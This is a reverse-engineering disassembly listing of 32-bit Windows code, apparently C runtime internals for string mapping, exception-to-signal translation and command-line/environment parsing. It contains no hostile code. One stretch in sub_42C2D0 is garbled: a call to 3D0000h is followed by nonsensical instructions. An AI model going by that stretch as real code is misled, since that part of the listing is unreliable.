		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh


loc_42BD93:				; CODE XREF: seg000:0042BD7Aj
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_42BDA0
		xor	eax, eax
		jmp	loc_42BE31
; ---------------------------------------------------------------------------


loc_42BDA0:				; CODE XREF: seg000:0042BD97j
		mov	eax, [ebp-2Ch]
		push	eax
		mov	ecx, [ebp-20h]
		push	ecx
		mov	edx, [ebp-1Ch]
		push	edx
		mov	eax, [ebp-24h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	ds:dword_4F12F0	; LCMapStringW
		test	eax, eax
		jnz	short loc_42BDC6
		xor	eax, eax
		jmp	short loc_42BE31
; ---------------------------------------------------------------------------


loc_42BDC6:				; CODE XREF: seg000:0042BDC0j
		cmp	dword ptr [ebp+1Ch], 0
		jnz	short loc_42BDFA
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp-2Ch]
		push	eax
		mov	ecx, [ebp-20h]
		push	ecx
		push	220h
		mov	edx, [ebp+20h]
		push	edx
		call	ds:dword_4F1384	; WideCharToMultiByte
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jnz	short loc_42BDF8
		xor	eax, eax
		jmp	short loc_42BE31
; ---------------------------------------------------------------------------


loc_42BDF8:				; CODE XREF: seg000:0042BDF2j
		jmp	short loc_42BE2A
; ---------------------------------------------------------------------------


loc_42BDFA:				; CODE XREF: seg000:0042BDCAj
		push	0
		push	0
		mov	eax, [ebp+1Ch]
		push	eax
		mov	ecx, [ebp+18h]
		push	ecx
		mov	edx, [ebp-2Ch]
		push	edx
		mov	eax, [ebp-20h]
		push	eax
		push	220h
		mov	ecx, [ebp+20h]
		push	ecx
		call	ds:dword_4F1384	; WideCharToMultiByte
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jnz	short loc_42BE2A
		xor	eax, eax
		jmp	short loc_42BE31
; ---------------------------------------------------------------------------


loc_42BE2A:				; CODE XREF: seg000:loc_42BD46j
					; seg000:loc_42BDF8j ...
		mov	eax, [ebp-28h]
		jmp	short loc_42BE31
; ---------------------------------------------------------------------------


loc_42BE2F:				; CODE XREF: seg000:0042BC12j
		xor	eax, eax


loc_42BE31:				; CODE XREF: seg000:0042BBC1j
					; seg000:0042BC56j ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BE50	proc near		; CODE XREF: seg000:0042BBD4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx


loc_42BE62:				; CODE XREF: sub_42BE50+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_42BE87
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42BE87
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42BE62
; ---------------------------------------------------------------------------


loc_42BE87:				; CODE XREF: sub_42BE50+20j
					; sub_42BE50+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42BE99
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_42BE9C
; ---------------------------------------------------------------------------


loc_42BE99:				; CODE XREF: sub_42BE50+3Fj
		mov	eax, [ebp+arg_4]


loc_42BE9C:				; CODE XREF: sub_42BE50+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_42BE50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BEA0	proc near		; CODE XREF: seg000:00420C74p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_425C30
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+50h]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42C060
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_42BED3
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42BEE2


loc_42BED3:				; CODE XREF: sub_42BEA0+28j
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	ds:dword_4F12EC	; UnhandledExceptionFilter
		jmp	loc_42C05A
; ---------------------------------------------------------------------------


loc_42BEE2:				; CODE XREF: sub_42BEA0+31j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+8], 5
		jnz	short loc_42BEFF
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax+8], 0
		mov	eax, 1
		jmp	loc_42C05A
; ---------------------------------------------------------------------------


loc_42BEFF:				; CODE XREF: sub_42BEA0+49j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx+8], 1
		jnz	short loc_42BF10
		or	eax, 0FFFFFFFFh
		jmp	loc_42C05A
; ---------------------------------------------------------------------------


loc_42BF10:				; CODE XREF: sub_42BEA0+66j
		mov	edx, [ebp+var_10]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+54h]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		mov	[eax+54h], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+4], 8
		jnz	loc_42C037
		mov	eax, ds:dword_4505F0
		mov	[ebp+var_14], eax
		jmp	short loc_42BF4B
; ---------------------------------------------------------------------------


loc_42BF42:				; CODE XREF: sub_42BEA0+D0j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx


loc_42BF4B:				; CODE XREF: sub_42BEA0+A0j
		mov	edx, ds:dword_4505F0
		add	edx, ds:dword_4505F4
		cmp	[ebp+var_14], edx
		jge	short loc_42BF72
		mov	eax, [ebp+var_14]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_42BF42
; ---------------------------------------------------------------------------


loc_42BF72:				; CODE XREF: sub_42BEA0+BAj
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+58h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C000008Eh
		jnz	short loc_42BF95
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 83h
		jmp	loc_42C01D
; ---------------------------------------------------------------------------


loc_42BF95:				; CODE XREF: sub_42BEA0+E4j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0C0000090h
		jnz	short loc_42BFAC
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+58h], 81h
		jmp	short loc_42C01D
; ---------------------------------------------------------------------------


loc_42BFAC:				; CODE XREF: sub_42BEA0+FEj
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0C0000091h
		jnz	short loc_42BFC3
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+58h], 84h
		jmp	short loc_42C01D
; ---------------------------------------------------------------------------


loc_42BFC3:				; CODE XREF: sub_42BEA0+115j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C0000093h
		jnz	short loc_42BFDA
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 85h
		jmp	short loc_42C01D
; ---------------------------------------------------------------------------


loc_42BFDA:				; CODE XREF: sub_42BEA0+12Cj
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0C000008Dh
		jnz	short loc_42BFF1
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+58h], 82h
		jmp	short loc_42C01D
; ---------------------------------------------------------------------------


loc_42BFF1:				; CODE XREF: sub_42BEA0+143j
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0C000008Fh
		jnz	short loc_42C008
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+58h], 86h
		jmp	short loc_42C01D
; ---------------------------------------------------------------------------


loc_42C008:				; CODE XREF: sub_42BEA0+15Aj
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C0000092h
		jnz	short loc_42C01D
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 8Ah


loc_42C01D:				; CODE XREF: sub_42BEA0+F0j
					; sub_42BEA0+10Aj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_4]
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+58h], ecx
		jmp	short loc_42C04E
; ---------------------------------------------------------------------------


loc_42C037:				; CODE XREF: sub_42BEA0+92j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4


loc_42C04E:				; CODE XREF: sub_42BEA0+195j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_18]
		mov	[edx+54h], eax
		or	eax, 0FFFFFFFFh


loc_42C05A:				; CODE XREF: sub_42BEA0+3Dj
					; sub_42BEA0+5Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42BEA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C060	proc near		; CODE XREF: sub_42BEA0+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_42C06A:				; CODE XREF: sub_42C060+30j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		cmp	edx, [ebp+arg_0]
		jz	short loc_42C092
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, ds:dword_4505FC
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_42C092
		jmp	short loc_42C06A
; ---------------------------------------------------------------------------


loc_42C092:				; CODE XREF: sub_42C060+12j
					; sub_42C060+2Ej
		mov	eax, ds:dword_4505FC
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_42C0AE
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		cmp	eax, [ebp+arg_0]
		jz	short loc_42C0B2


loc_42C0AE:				; CODE XREF: sub_42C060+42j
		xor	eax, eax
		jmp	short loc_42C0B5
; ---------------------------------------------------------------------------


loc_42C0B2:				; CODE XREF: sub_42C060+4Cj
		mov	eax, [ebp+var_4]


loc_42C0B5:				; CODE XREF: sub_42C060+50j
		mov	esp, ebp
		pop	ebp
		retn
sub_42C060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C0C0	proc near		; CODE XREF: seg000:00420C18p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4F0088, 0
		jnz	short loc_42C0D2
		call	sub_4265E0


loc_42C0D2:				; CODE XREF: sub_42C0C0+Bj
		mov	eax, ds:dword_4EF068
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jnz	short loc_42C13C


loc_42C0E6:				; CODE XREF: sub_42C0C0:loc_42C123j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jz	short loc_42C125
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42C125
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_432B80
		add	esp, 4
		test	eax, eax
		jz	short loc_42C123
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42C123:				; CODE XREF: sub_42C0C0+58j
		jmp	short loc_42C0E6
; ---------------------------------------------------------------------------


loc_42C125:				; CODE XREF: sub_42C0C0+39j
					; sub_42C0C0+44j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 22h
		jnz	short loc_42C13A
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42C13A:				; CODE XREF: sub_42C0C0+6Fj
		jmp	short loc_42C153
; ---------------------------------------------------------------------------


loc_42C13C:				; CODE XREF: sub_42C0C0+24j
					; sub_42C0C0+91j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 20h
		jle	short loc_42C153
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42C13C
; ---------------------------------------------------------------------------


loc_42C153:				; CODE XREF: sub_42C0C0:loc_42C13Aj
					; sub_42C0C0+86j ...
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_42C175
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 20h
		jg	short loc_42C175
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42C153
; ---------------------------------------------------------------------------


loc_42C175:				; CODE XREF: sub_42C0C0+9Cj
					; sub_42C0C0+A8j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42C0C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C180	proc near		; CODE XREF: seg000:00420BFDp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	ds:dword_4F0088, 0
		jnz	short loc_42C194
		call	sub_4265E0


loc_42C194:				; CODE XREF: sub_42C180+Dj
		mov	[ebp+var_8], 0
		mov	eax, ds:dword_4EE9D4
		mov	[ebp+var_4], eax


loc_42C1A3:				; CODE XREF: sub_42C180+57j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42C1D9
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Dh
		jz	short loc_42C1C1
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx


loc_42C1C1:				; CODE XREF: sub_42C180+36j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+1]
		mov	[ebp+var_4], edx
		jmp	short loc_42C1A3
; ---------------------------------------------------------------------------


loc_42C1D9:				; CODE XREF: sub_42C180+2Bj
		push	6Dh
		push	offset dword_43A2C8
		push	2
		mov	eax, [ebp+var_8]
		lea	ecx, ds:4[eax*4]
		push	ecx
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		mov	ds:dword_4EE988, edx
		cmp	ds:dword_4EE988, 0
		jnz	short loc_42C214
		push	9
		call	sub_420CA0
		add	esp, 4


loc_42C214:				; CODE XREF: sub_42C180+88j
		mov	eax, ds:dword_4EE9D4
		mov	[ebp+var_4], eax
		jmp	short loc_42C227
; ---------------------------------------------------------------------------


loc_42C21E:				; CODE XREF: sub_42C180:loc_42C295j
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx


loc_42C227:				; CODE XREF: sub_42C180+9Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42C297
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Dh
		jz	short loc_42C295
		push	79h
		push	offset dword_43A2C8
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41AE60
		add	esp, 10h
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jnz	short loc_42C27A
		push	9
		call	sub_420CA0
		add	esp, 4


loc_42C27A:				; CODE XREF: sub_42C180+EEj
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		push	eax
		call	sub_41E550
		add	esp, 8
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx


loc_42C295:				; CODE XREF: sub_42C180+CCj
		jmp	short loc_42C21E
; ---------------------------------------------------------------------------


loc_42C297:				; CODE XREF: sub_42C180+AFj
		push	2
		mov	edx, ds:dword_4EE9D4
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	ds:dword_4EE9D4, 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	ds:dword_4F0084, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_42C180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C2D0	proc near		; CODE XREF: seg000:00420BF8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	ds:dword_4F0088, 0
		jnz	short loc_42C2E4
		call	sub_4265E0


loc_42C2E4:				; CODE XREF: sub_42C2D0+Dj
		push	104h
		push	offset dword_4EEA8C
		push	0
		call	near ptr 3D0000h
		xor	al, bh
		add	eax, offset dword_4EE998
		mov	edx, gs
		dec	esi
		add	byte ptr ds:dword_4EF068[ecx], ah
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_42C317
		mov	edx, ds:dword_4EE998
		mov	[ebp+var_14], edx
		jmp	short loc_42C31F
; ---------------------------------------------------------------------------


loc_42C317:				; CODE XREF: sub_42C2D0+3Aj
		mov	eax, ds:dword_4EF068
		mov	[ebp+var_14], eax


loc_42C31F:				; CODE XREF: sub_42C2D0+45j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_10], ecx
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_42C3B0
		add	esp, 14h
		push	80h
		push	offset dword_43A2D4
		push	2
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*4]
		push	ecx
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_42C36E
		push	8
		call	sub_420CA0
		add	esp, 4


loc_42C36E:				; CODE XREF: sub_42C2D0+92j
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_42C3B0
		add	esp, 14h
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	ds:dword_4EE97C, eax
		mov	ecx, [ebp+var_8]
		mov	ds:dword_4EE980, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C2D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C3B0	proc near		; CODE XREF: sub_42C2D0+65p
					; sub_42C2D0+B8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 1
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+arg_4], 0
		jz	short loc_42C3E5
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 4
		mov	[ebp+arg_4], edx


loc_42C3E5:				; CODE XREF: sub_42C3B0+22j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	loc_42C4BD


loc_42C3F4:				; CODE XREF: sub_42C3B0:loc_42C47Dj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jz	short loc_42C482
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42C482
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		xor	eax, eax
		mov	al, ds:byte_4EEF41[edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_42C457
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_42C457
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42C457:				; CODE XREF: sub_42C3B0+76j
					; sub_42C3B0+89j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_42C47D
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_42C47D:				; CODE XREF: sub_42C3B0+B8j
		jmp	loc_42C3F4
; ---------------------------------------------------------------------------


loc_42C482:				; CODE XREF: sub_42C3B0+56j
					; sub_42C3B0+60j
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_42C4A4
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx


loc_42C4A4:				; CODE XREF: sub_42C3B0+E3j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_42C4B8
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42C4B8:				; CODE XREF: sub_42C3B0+FDj
		jmp	loc_42C58C
; ---------------------------------------------------------------------------


loc_42C4BD:				; CODE XREF: sub_42C3B0+3Ej
					; sub_42C3B0+1B1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_42C4E3
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_42C4E3:				; CODE XREF: sub_42C3B0+11Ej
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, ds:byte_4EEF41[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_42C53B
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_42C532
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_42C532:				; CODE XREF: sub_42C3B0+16Dj
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42C53B:				; CODE XREF: sub_42C3B0+15Aj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		cmp	edx, 20h
		jz	short loc_42C567
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_42C567
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		cmp	ecx, 9
		jnz	loc_42C4BD


loc_42C567:				; CODE XREF: sub_42C3B0+197j
					; sub_42C3B0+1A3j
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_42C57F
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42C58C
; ---------------------------------------------------------------------------


loc_42C57F:				; CODE XREF: sub_42C3B0+1C2j
		cmp	[ebp+arg_8], 0
		jz	short loc_42C58C
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx-1], 0


loc_42C58C:				; CODE XREF: sub_42C3B0:loc_42C4B8j
					; sub_42C3B0+1CDj ...
		mov	[ebp+var_14], 0


loc_42C593:				; CODE XREF: sub_42C3B0+3F6j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42C5BE


loc_42C59D:				; CODE XREF: sub_42C3B0+20Cj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_42C5B3
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_42C5BE


loc_42C5B3:				; CODE XREF: sub_42C3B0+1F6j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42C59D
; ---------------------------------------------------------------------------


loc_42C5BE:				; CODE XREF: sub_42C3B0+1EBj
					; sub_42C3B0+201j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_42C5CD
		jmp	loc_42C7AB
; ---------------------------------------------------------------------------


loc_42C5CD:				; CODE XREF: sub_42C3B0+216j
		cmp	[ebp+arg_4], 0
		jz	short loc_42C5E4
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[edx], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx


loc_42C5E4:				; CODE XREF: sub_42C3B0+221j
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_42C5F1:				; CODE XREF: sub_42C3B0+3CFj
		mov	[ebp+var_8], 1
		mov	[ebp+var_10], 0


loc_42C5FF:				; CODE XREF: sub_42C3B0+26Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_42C61E
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		jmp	short loc_42C5FF
; ---------------------------------------------------------------------------


loc_42C61E:				; CODE XREF: sub_42C3B0+258j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_42C67A
		mov	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 2
		div	ecx
		test	edx, edx
		jnz	short loc_42C672
		cmp	[ebp+var_14], 0
		jz	short loc_42C65F
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 22h
		jnz	short loc_42C656
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42C65D
; ---------------------------------------------------------------------------


loc_42C656:				; CODE XREF: sub_42C3B0+299j
		mov	[ebp+var_8], 0


loc_42C65D:				; CODE XREF: sub_42C3B0+2A4j
		jmp	short loc_42C666
; ---------------------------------------------------------------------------


